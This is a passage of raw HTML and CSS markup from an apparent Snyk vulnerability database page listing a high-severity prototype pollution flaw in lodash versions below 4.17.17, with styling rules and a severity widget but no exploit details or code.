92%,hsla(0,0%,100%,0))}.vue--button--cta-link[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12],.vue--button--link[data-v-94138f12]{background-color:transparent;border:none;color:#4b45a1;height:auto;line-height:inherit;padding:0}.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:4px;left:0}.vue--button--cta-link .vue--label[data-v-94138f12],.vue--button--dimmed-link .vue--label[data-v-94138f12],.vue--button--inverted-link .vue--label[data-v-94138f12],.vue--button--link .vue--label[data-v-94138f12]{padding-right:4px}.vue--button--cta-link.vue--button--large[data-v-94138f12],.vue--button--cta-link.vue--button--small[data-v-94138f12],.vue--button--dimmed-link.vue--button--large[data-v-94138f12],.vue--button--dimmed-link.vue--button--small[data-v-94138f12],.vue--button--inverted-link.vue--button--large[data-v-94138f12],.vue--button--inverted-link.vue--button--small[data-v-94138f12],.vue--button--link.vue--button--large[data-v-94138f12],.vue--button--link.vue--button--small[data-v-94138f12]{padding:0}.vue--button--cta-link[data-v-94138f12]:not([disabled]){color:#157575}.vue--button--cta-link:not([disabled]).focus[data-v-94138f12],.vue--button--cta-link:not([disabled]).hover[data-v-94138f12],.vue--button--cta-link[data-v-94138f12]:not([disabled]):focus,.vue--button--cta-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#157575;text-decoration:underline}.vue--button--link[data-v-94138f12]:not([disabled]){color:#4b45a1}.vue--button--link:not([disabled]).focus[data-v-94138f12],.vue--button--link:not([disabled]).hover[data-v-94138f12],.vue--button--link[data-v-94138f12]:not([disabled]):focus,.vue--button--link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#4b45a1;text-decoration:underline}.vue--button--inverted-link[data-v-94138f12]:not([disabled]){color:#fff}.vue--button--inverted-link:not([disabled]).focus[data-v-94138f12],.vue--button--inverted-link:not([disabled]).hover[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12]:not([disabled]):focus,.vue--button--inverted-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#fff;text-decoration:underline}.vue--button--dimmed-link[data-v-94138f12]:not([disabled]){color:#727184}.vue--button--dimmed-link:not([disabled]).focus[data-v-94138f12],.vue--button--dimmed-link:not([disabled]).hover[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):focus,.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#727184;text-decoration:underline}.vue--button--cta-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--dimmed-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--inverted-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--link[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:transparent;opacity:.5}.vue--button--large[data-v-94138f12]{font-size:1.125rem;height:2.75rem;padding:0 24px}.vue--button--large.vue--button--cta-link[data-v-94138f12],.vue--button--large.vue--button--dimmed-link[data-v-94138f12],.vue--button--large.vue--button--inverted-link[data-v-94138f12],.vue--button--large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--large .material-design-icon[data-v-94138f12]  svg{height:28px;width:28px}.vue--button--large .vue--label[data-v-94138f12]{top:-2px}.vue--button--extra-large[data-v-94138f12]{font-size:1.125rem;height:3.125rem;padding:0 24px}.vue--button--extra-large.vue--button--cta-link[data-v-94138f12],.vue--button--extra-large.vue--button--dimmed-link[data-v-94138f12],.vue--button--extra-large.vue--button--inverted-link[data-v-94138f12],.vue--button--extra-large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--extra-large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--extra-large .material-design-icon[data-v-94138f12]  svg{height:30px;width:30px}.vue--button--extra-large .vue--label[data-v-94138f12]{top:-2px}.vue--button--small[data-v-94138f12]{font-size:.875rem;height:2rem;line-height:2;padding:0 12px}.vue--button--small+.vue--button--small[data-v-94138f12]{margin-left:4px}.vue--button--small.vue--button--cta-link[data-v-94138f12],.vue--button--small.vue--button--dimmed-link[data-v-94138f12],.vue--button--small.vue--button--inverted-link[data-v-94138f12],.vue--button--small.vue--button--link[data-v-94138f12]{height:auto;line-height:1.5}.vue--button--small .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--small .material-design-icon[data-v-94138f12]  svg{height:18px;width:18px}.vue--button--icon.vue--button--cta .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--danger .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted .material-design-icon[data-v-94138f12]{left:auto;right:auto}.vue--button--icon.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:0;left:auto;right:auto;top:0}.vue--button--icon.vue--button--cta-link.focus[data-v-94138f12],.vue--button--icon.vue--button--cta-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--dimmed-link.focus[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--inverted-link.focus[data-v-94138f12],.vue--button--icon.vue--button--inverted-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--link.focus[data-v-94138f12],.vue--button--icon.vue--button--link[data-v-94138f12]:focus{outline:1px dotted #4b45a1}@keyframes pulse-data-v-94138f12{0%{box-shadow:0 0 0 0 rgba(117,48,166,.6)}70%{box-shadow:0 0 0 10px rgba(117,48,166,0)}to{box-shadow:0 0 0 0 rgba(117,48,166,0)}}@keyframes shimmer-data-v-94138f12{10%{opacity:1;left:-30%;transition-property:left,opacity;transition-duration:10s,.15s;transition-timing-function:ease}to{opacity:0;left:-30%;transition-property:left,opacity}}\n.vue--expand__container[data-v-1df76973]{overflow:hidden}.vue--expand.expand-enter-active[data-v-1df76973],.vue--expand.expand-leave-active[data-v-1df76973]{transition:height .25s ease-in-out;overflow:hidden}.vue--expand.expand-enter[data-v-1df76973],.vue--expand.expand-leave-to[data-v-1df76973]{height:0}.vue--expand-legacy__container[data-v-1df76973]{overflow:hidden}.vue--expand-legacy.expand-enter-active[data-v-1df76973],.vue--expand-legacy.expand-leave-active[data-v-1df76973]{height:auto;overflow:hidden}.vue--expand-legacy.expand-enter[data-v-1df76973],.vue--expand-legacy.expand-leave-to[data-v-1df76973]{height:0}\n.threat-intelligence-detail__heading[data-v-29f81d0e]{margin-bottom:16px}sup[data-v-29f81d0e]{vertical-align:super;font-size:smaller;display:inline-block;margin-top:-8px;position:relative}.epss_link[data-v-29f81d0e]{color:#fff;fill:#fff;opacity:.5}.epss_link[data-v-29f81d0e]:hover{opacity:1}.epss_link[data-v-29f81d0e]  svg{height:1.875rem;width:1.875rem;margin-right:12px}\n.register-cta[data-v-f20bb186]{font-size:.9375rem;margin:0}.register-cta__body.small[data-v-f20bb186]{padding:24px}.register-cta__body.small p[data-v-f20bb186]{margin-bottom:24px}.register-cta__body.small p.heading[data-v-f20bb186]{color:#1c1c21;font-weight:500}.register-cta__body.medium[data-v-f20bb186]{align-items:center;display:flex;flex-wrap:wrap;justify-content:center;align-content:space-between;padding:12px 16px 12px 24px}@media only screen and (min-width:40em){.register-cta__body.medium[data-v-f20bb186]{justify-content:space-between}.register-cta__body.medium p[data-v-f20bb186]{margin:0}}\n.learn-cta[data-v-455b9950]{font-size:.9375rem;margin:0}.learn-cta__body[data-v-455b9950]{padding:24px}.learn-cta__body p[data-v-455b9950]{margin-bottom:24px}.learn-cta__heading[data-v-455b9950]{color:#1c1c21;font-weight:500}.learn-cta__icon[data-v-455b9950]{display:inline-block;margin-right:4px;color:#4b45a1}\n.vuln-credit[data-v-4aaa4f94]{margin:0;padding:8px 24px}.vuln-credit .credits__label[data-v-4aaa4f94]{text-transform:capitalize;white-space:nowrap}.vuln-credit ul[data-v-4aaa4f94]{margin:0;padding:0}.vuln-credit li[data-v-4aaa4f94]{display:flex;justify-content:space-between;border-top:1px solid #e4e3e8;padding:16px 0;margin:0;text-align:right;word-break:break-all}.vuln-credit li[data-v-4aaa4f94]:first-child{border-top:none}\n.base-buttons[data-v-361c2e3a]{margin-top:12px}.base-buttons .base-button[data-v-361c2e3a]{margin:24px 12px 0 0}\n.item-tooltip[data-v-2bb0c06e]{color:#938fc7}.vuln-info-block[data-v-2bb0c06e]{align-items:center;display:flex;font-size:13px;text-transform:uppercase;flex-wrap:wrap}.vuln-info-block[data-v-2bb0c06e]>:not(:last-child){margin-right:12px}.vuln-info-block h4.date[data-v-2bb0c06e]{font-size:13px;display:inline-block}\n.item-tooltip[data-v-b74dadd4]{color:#938fc7}\n.vue--icon-bar[data-v-39001840]{background-color:#fff;display:flex;flex-direction:column;width:30%;min-width:90px}@media only screen and (min-width:71.25em){.vue--icon-bar[data-v-39001840]{flex-direction:row;min-width:auto;width:auto}}.vue--icon-bar__item[data-v-39001840]{align-items:center;cursor:pointer;display:flex;flex:1 0 0%;font-size:.8125rem;flex-direction:row;min-width:90px;padding:8px 12px;border-bottom:1px solid #e5e8ed;transition:all .2s ease;min-height:90px;justify-content:center}@media only screen and (min-width:71.25em){.vue--icon-bar__item[data-v-39001840]{flex-direction:column;border-right:1px solid #e5e8ed;border-bottom:none}.vue--icon-bar__item span[data-v-39001840]{text-align:center;width:100%}}.vue--icon-bar__item[data-v-39001840]:last-of-type{border:none}.vue--icon-bar__item[data-v-39001840]:focus,.vue--icon-bar__item[data-v-39001840]:hover{color:#4b45a1;background:#f6fafd}.vue--icon-bar__icon[data-v-39001840]  svg{height:1.5625rem;width:1.5625rem;margin-right:8px}@media only screen and (min-width:71.25em){.vue--icon-bar__icon[data-v-39001840]  svg{height:2.5rem;width:2.5rem;margin-right:0;margin-bottom:5px}}\n.vue--button-dropdown[data-v-13063395]{position:relative;display:inline}.vue--button-dropdown__btn[data-v-13063395]{padding:0 0 0 16px}.vue--button-dropdown__btn[data-v-13063395]:focus{padding:0 0 0 16px!important}.vue--button-dropdown__icon[data-v-13063395]{margin-left:12px;display:inline-block;transition:transform .2s linear;-ms-transition:none}.vue--button-dropdown__icon--rotated[data-v-13063395]{transform-origin:50% 55%;transform:rotate(-180deg)}.vue--button-dropdown__content[data-v-13063395]{position:absolute;display:flex;display:-ms-grid;box-shadow:inset 0 0 0 1px #d3d3d9,0 0 17px 6px rgba(0,0,0,.06);margin:8px 0 0;opacity:0;transition:all .2s ease;-ms-transition:none;z-index:999;pointer-events:none}.vue--button-dropdown__content.open[data-v-13063395]{opacity:1;pointer-events:auto}.vue--button-dropdown__content--focus[data-v-13063395]{box-shadow:inset 0 0 0 1px #4b45a1,0 0 17px 6px rgba(0,0,0,.06)}.vue--button-dropdown__content--right[data-v-13063395]{right:0;transform-origin:top right}.vue--button-dropdown__content--left[data-v-13063395]{left:0;transform-origin:top left}.vue--button-dropdown__content--center[data-v-13063395]{transform-origin:center;left:50%;transform:translate(-50%)}\n.markdown-section .heading[data-v-5c17117c]{font-size:.9375rem;line-height:1.5rem}.markdown-section .markdown-description[data-v-5c17117c]{margin:12px 0 32px;word-break:break-word}.markdown-section .markdown-description[data-v-5c17117c]  table{word-break:normal}.markdown-section .markdown-description[data-v-5c17117c]  h2,.markdown-section .markdown-description[data-v-5c17117c]  h3{font-weight:500;font-size:.9375rem;margin:32px 0 0}.markdown-section .markdown-description[data-v-5c17117c]  code{white-space:normal;overflow-x:auto}.markdown-section .markdown-description[data-v-5c17117c]  pre code{display:block;color:#fff;padding:12px}\n.vue--prose[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.3125rem;color:inherit}@media only screen and (min-width:45em){.vue--prose[data-v-6b6ff1c7]{font-size:.9375rem;line-height:1.5rem}}.vue--prose p[data-v-6b6ff1c7]{margin:12px 0}.vue--prose p[data-v-6b6ff1c7]:first-child{margin-top:0}.vue--prose p[data-v-6b6ff1c7]:last-child{margin-bottom:0}.vue--prose strong[data-v-6b6ff1c7]{font-weight:500}.vue--prose em[data-v-6b6ff1c7]{font-style:italic}.vue--prose ol[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:decimal;font-feature-settings:\"pnum\"}.vue--prose ol li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose ul[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:disc;font-feature-settings:\"pnum\"}.vue--prose ul li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose--lead[data-v-6b6ff1c7]{font-size:1.125rem;line-height:2rem}.vue--prose--small[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.25rem}\n.vue--markdown-to-html[data-v-185c2450]  h2{font-weight:500;font-size:1.25rem}.vue--markdown-to-html[data-v-185c2450]  table{border:1px solid #d3d3d9;border-radius:2px;margin-bottom:12px}.vue--markdown-to-html[data-v-185c2450]  td,.vue--markdown-to-html[data-v-185c2450]  th{border:1px solid #d3d3d9;padding:8px}.vue--markdown-to-html[data-v-185c2450]  th{font-weight:500;background-color:#f4f4f6}.vue--markdown-to-html[data-v-185c2450]  pre{overflow-x:auto}.vue--markdown-to-html[data-v-185c2450]  pre code{background-color:#393842}\n.site-footer[data-v-415ae652]{background-color:#120c68;color:#fff;min-height:140px;position:relative;padding-bottom:140px;padding-top:32px}.site-footer .site-footer__container[data-v-415ae652]{margin-bottom:32px}.site-footer .site-footer-bottom[data-v-415ae652]{align-items:center;display:flex;margin-top:48px}.site-footer .site-footer-bottom .subhead[data-v-415ae652]{color:#fff;font-size:13px;margin-left:32px}ul[data-v-415ae652]{list-style:none;padding:0}.nav__social[data-v-415ae652]{justify-self:center;grid-column-start:1;grid-column-end:5;text-align:center}.nav__social .nav__group__heading[data-v-415ae652]{color:#fff}.nav__social ul[data-v-415ae652]{margin-bottom:24px}.nav__social .list-social[data-v-415ae652]{display:flex;justify-content:center}.nav__social .list-social .list-social__link[data-v-415ae652]{color:#fff;fill:#fff;opacity:.5}.nav__social .list-social .list-social__link[data-v-415ae652]:hover{opacity:1}.nav__social .list-social .list-social__link[data-v-415ae652]  svg{height:1.875rem;width:1.875rem;margin-right:12px}.nav__social .list-social .list-social__link .npm-icon[data-v-415ae652]{height:24px;margin-top:3px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:auto;grid-template-rows:repeat(3,auto);grid-row-gap:16px}.nav__group[data-v-415ae652]{grid-column-start:1;grid-column-end:5}.nav__group .nav__group__heading[data-v-415ae652]{color:#fff}.nav__list[data-v-415ae652]{margin:0 32px 0 0}.nav__list .nav__list__item__link[data-v-415ae652],.nav__list .nav__list__item__link[data-v-415ae652]:hover{color:#fff;font-size:13px}.footer-banner[data-v-415ae652]{display:inline-block;width:210px;max-width:100%}.waves-wrapper[data-v-415ae652]{background-image:url(/_nuxt/img/footer-wave.102fbf5.svg);background-size:100% 100%;background-repeat:no-repeat;bottom:0;height:140px;left:0;overflow:hidden;pointer-events:none;position:absolute;right:0;width:100%;z-index:0}@media only screen and (min-width:26.25em){.nav__groups[data-v-415ae652]{grid-template-columns:repeat(4,1fr);grid-template-rows:auto auto}.nav__group[data-v-415ae652]{grid-column-start:unset;grid-column-end:unset}}@media only screen and (min-width:45em){.waves-wrapper[data-v-415ae652]{height:195px}.site-footer[data-v-415ae652]{padding-bottom:195px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:repeat(5,1fr);grid-template-rows:auto;grid-row-gap:0}.nav__social[data-v-415ae652]{justify-self:unset;grid-column-start:unset;grid-column-end:unset;text-align:left}.nav__social .list-social[data-v-415ae652]{justify-content:start}}\n.vue--all-caps[data-v-56a8aa57]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;display:block;font-size:.8125rem;line-height:1rem;letter-spacing:1.5px;text-transform:uppercase;color:#727184;font-feature-settings:\"pnum\"}.vue--all-caps--small[data-v-56a8aa57]{font-size:.75rem}</style>\n  </head>\n  <body >\n    <div data-server-rendered=\"true\" id=\"__nuxt\"><!----><div id=\"__layout\"><div class=\"page\" data-v-0fde60d6><header class=\"site-header\" data-v-be91f9d4 data-v-0fde60d6><div class=\"vue--layout-container site-header__container\" data-v-43af9ae8 data-v-be91f9d4><a href=\"/\" data-snyk-test=\"homepage-link\" class=\"vue--anchor title-link\" data-v-ce2707d6 data-v-be91f9d4><img src=\"/_nuxt/img/header-logo.aded646.svg\" alt=\"Homepage\" height=\"35\" width=\"272\" data-snyk-test=\"SiteHeader: logo\" data-v-ce2707d6 data-v-be91f9d4><!----><!----></a> <div tabindex=\"-1\" data-snyk-test=\"developer-tools-links\" class=\"vue--dropdown-menu dropdown-links vue--dropdown-menu--align-left\" data-v-64b0d6bd data-v-be91f9d4><div role=\"button\" data-snyk-text=\"BaseDropdownMenu: handle\" aria-haspopup=\"true\" tabindex=\"0\" aria-expanded=\"false\" class=\"vue--dropdown-menu__handle\" data-v-64b0d6bd>\n        Developer Tools\n        <svg width=\"12\" height=\"8\" viewBox=\"0 0 12 8\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" data-v-64b0d6bd data-v-be91f9d4><path d=\"M1.41 0.295044L6 4.87504L10.59 0.295044L12 1.70504L6 7.70504L0 1.70504L1.41 0.295044Z\" fill=\"#21214C\" data-v-64b0d6bd data-v-be91f9d4></path></svg></div> <div class=\"vue--dropdown-menu__menu\" data-v-64b0d6bd> <ul role=\"menu\" class=\"vue--dropdown-menu__menu--primary\" data-v-64b0d6bd> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://learn.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Learn\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/advisor/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Advisor\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/code-checker/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Checker\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snippets.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Snippets\n      <!----><!----></a></li></ul> <!----> </div></div> <a href=\"https://snyk.io\" data-snyk-test=\"about-link\" class=\"vue--anchor site-header__link\" data-v-ce2707d6 data-v-be91f9d4>\n      About Snyk\n    <!----><!----></a></div></header> <main data-v-0fde60d6><div data-v-085cdb9e data-v-0fde60d6><div class=\"vuln-page__heading-wrapper\" data-v-085cdb9e><div class=\"vue--layout-container breadcrumbs-with-search\" data-v-43af9ae8 data-v-c193da48 data-v-085cdb9e><div class=\"left\" data-v-43af9ae8 data-v-c193da48><nav data-snyk-test=\"vulnpage breadcrumbs\" class=\"vue--breadcrumbs\" data-v-4b4b4f2c data-v-c193da48><ol class=\"vue--breadcrumbs__list\" data-v-4b4b4f2c><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>Snyk Vulnerability Database</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln/npm\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>npm</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><span data-v-4b4b4f2c>lodash</span></li></ol></nav></div> <div class=\"right\" data-v-43af9ae8 data-v-c193da48><div data-v-4dbb44d0 data-v-c193da48><div class=\"vue--search-input\" data-v-e38673ba data-v-4dbb44d0><span aria-hidden=\"true\" aria-label=\"Magnify icon\" role=\"img\" class=\"material-design-icon magnify-icon vue--search-input__search-icon\" data-v-e38673ba data-v-e38673ba><svg fill=\"currentColor\" width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M9.5,3A6.5,6.5 0 0,1 16,9.5C16,11.11 15.41,12.59 14.44,13.73L14.71,14H15.5L20.5,19L19,20.5L14,15.5V14.71L13.73,14.44C12.59,15.41 11.11,16 9.5,16A6.5,6.5 0 0,1 3,9.5A6.5,6.5 0 0,1 9.5,3M9.5,5C7,5 5,7 5,9.5C5,12 7,14 9.5,14C12,14 14,12 14,9.5C14,7 12,5 9.5,5Z\"><!----></path></svg></span> <input type=\"search\" placeholder=\"Search by package name or CVE\" aria-label=\"Search by package name or CVE\" value=\"\" class=\"vue--search-input__field\" data-v-e38673ba> <!----></div> <!----></div></div></div> <div class=\"vue--layout-container grid-wrapper\" data-v-43af9ae8 data-v-085cdb9e><div class=\"left\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-page__heading\" data-v-43af9ae8 data-v-085cdb9e><h1 class=\"vue--heading title\" data-v-8dd2f746 data-v-085cdb9e>\n            Prototype Pollution\n\n            <span data-snyk-test=\"vulnpage subtitle\" class=\"subheading\" data-v-8dd2f746 data-v-085cdb9e>\n              Affecting\n              <a href=\"/package/npm/lodash\" class=\"vue--anchor\" data-v-ce2707d6 data-v-085cdb9e>lodash<!----><!----></a>\n              package, versions\n              <strong data-snyk-test=\"vuln versions\" data-v-8dd2f746 data-v-085cdb9e>\n                &lt;4.17.17\n              </strong></span></h1> <!----></div></div></div> <hr class=\"severity-high\" data-v-085cdb9e></div> <div class=\"vue--layout-container vuln-page__body-wrapper grid-wrapper\" data-v-43af9ae8 data-v-085cdb9e><div data-snyk-test=\"vulnpage severity widget\" class=\"right severity-widget\" data-v-43af9ae8 data-v-085cdb9e><div class=\"severity-widget__wrapper severity-high big\" data-v-aa211cf8 data-v-085cdb9e><div class=\"severity-widget__badge big\" data-v-aa211cf8><div data-snyk-test=\"severity widget score\" data-snyk-test-score=\"7.3\" class=\"severity-widget__score severity-high big\" data-v-aa211cf8>\n      0.0\n    </div> <span data-snyk-ignore-wcag2aa=\"true\" data-snyk-test=\"vuln severity badge\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-aa211cf8><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n      high\n    </span> <!----></span></div> <svg width=\"100%\" height=\"100%\" viewBox=\"0 0 170 170\" class=\"progress\" data-v-aa211cf8><defs data-v-aa211cf8><linearGradient id=\"progress-colors-low1319966\" x1=\"66.3\" y1=\"28.475\" x2=\"-77\" y2=\"20\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#85869C\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#85869C\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-medium1319966\" x1=\"150.3\" y1=\"28.475\" x2=\"-20.975\" y2=\"22.95\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#E07E21\" data-v-aa211cf8></stop> <stop offset=\"0.661458\" stop-color=\"#E07E21\" stop-opacity=\"0.6\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#E07E21\" stop-opacity=\"0.4\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-high1319966\" x1=\"151.3\" y1=\"87.475\" x2=\"-19.975\" y2=\"81.95\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#D74B25\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#D74B25\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-critical1319966\" x1=\"145.5\" y1=\"145\" x2=\"6.49999\" y2=\"57\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.291667\" stop-color=\"#B71420\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#B71420\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient></defs> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"white\" stroke-dasharray=\"0\" stroke-dashoffset=\"400.5530633326986\" data-v-aa211cf8></circle> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"url(#progress-colors-high1319966)\" stroke-dasharray=\"400.5530633326986\" stroke-dashoffset=\"400.5530633326986\" data-v-aa211cf8><animate attributeType=\"XML\" attributeName=\"stroke-dashoffset\" from=\"400.5530633326986\" to=\"108.14932709982862\" dur=\"2000ms\" repeatCount=\"1\" fill=\"freeze\" data-v-aa211cf8></animate></circle></svg></div></div> <div class=\"right details-boxes\" data-v-43af9ae8 data-v-085cdb9e><div data-snyk-test=\"Cvss details\" class=\"cvss-details\" data-v-03a71328 data-v-085cdb9e><div data-snyk-test=\"vulnpage details box\" class=\"vue--block vue--card details-extra-padding vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-03a71328><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d><h3 class=\"vue--heading cvss-details__heading\" data-v-8dd2f746 data-v-03a71328>Snyk CVSS</h3> <!----> <ul data-v-3645d675 data-v-50201d1d> <div data-snyk-test=\"CvssDetailsItem: Attack Complexity\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Attack Complexity\n  </span> <span data-v-0807406b><strong data-v-0807406b>\n        Low\n      </strong> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div></ul> <div class=\"data-list-items collapse\" data-v-3645d675 data-v-50201d1d><button type=\"button\" role=\"button\" data-snyk-test=\"DetailsBox: expand\" class=\"vue--button vue--button--link see-all\" data-v-94138f12 data-v-50201d1d>\n        See more\n      </button> <!----></div></div></div> <!----> <!----></div></div> <div data-snyk-test=\"threat intelligence\" class=\"threat-intelligence-detail\" data-v-29f81d0e data-v-085cdb9e><div data-snyk-test=\"card\" class=\"vue--block vue--card vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-29f81d0e><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d> <ul data-v-3645d675 data-v-50201d1d><h3 class=\"vue--heading threat-intelligence-detail__heading\" data-v-8dd2f746 data-v-29f81d0e>Threat Intelligence</h3> <!----> <div data-snyk-test=\"exploit-item\" class=\"cvss-details-item\" data-v-0807406b data-v-29f81d0e><span data-v-0807406b>\n    Exploit Maturity\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--medium-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        Proof of concept\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div> <!----></ul> <!----></div></div> <!----> <!----></div></div>  <div data-snyk-test=\"register cta\" class=\"register-cta\" data-v-f20bb186 data-v-085cdb9e><div class=\"vue--block vue--block--instruction\" data-v-3645d675 data-v-f20bb186><div class=\"register-cta__body small\" data-v-3645d675 data-v-f20bb186><p class=\"heading\" data-v-3645d675 data-v-f20bb186>Do your applications use this vulnerable 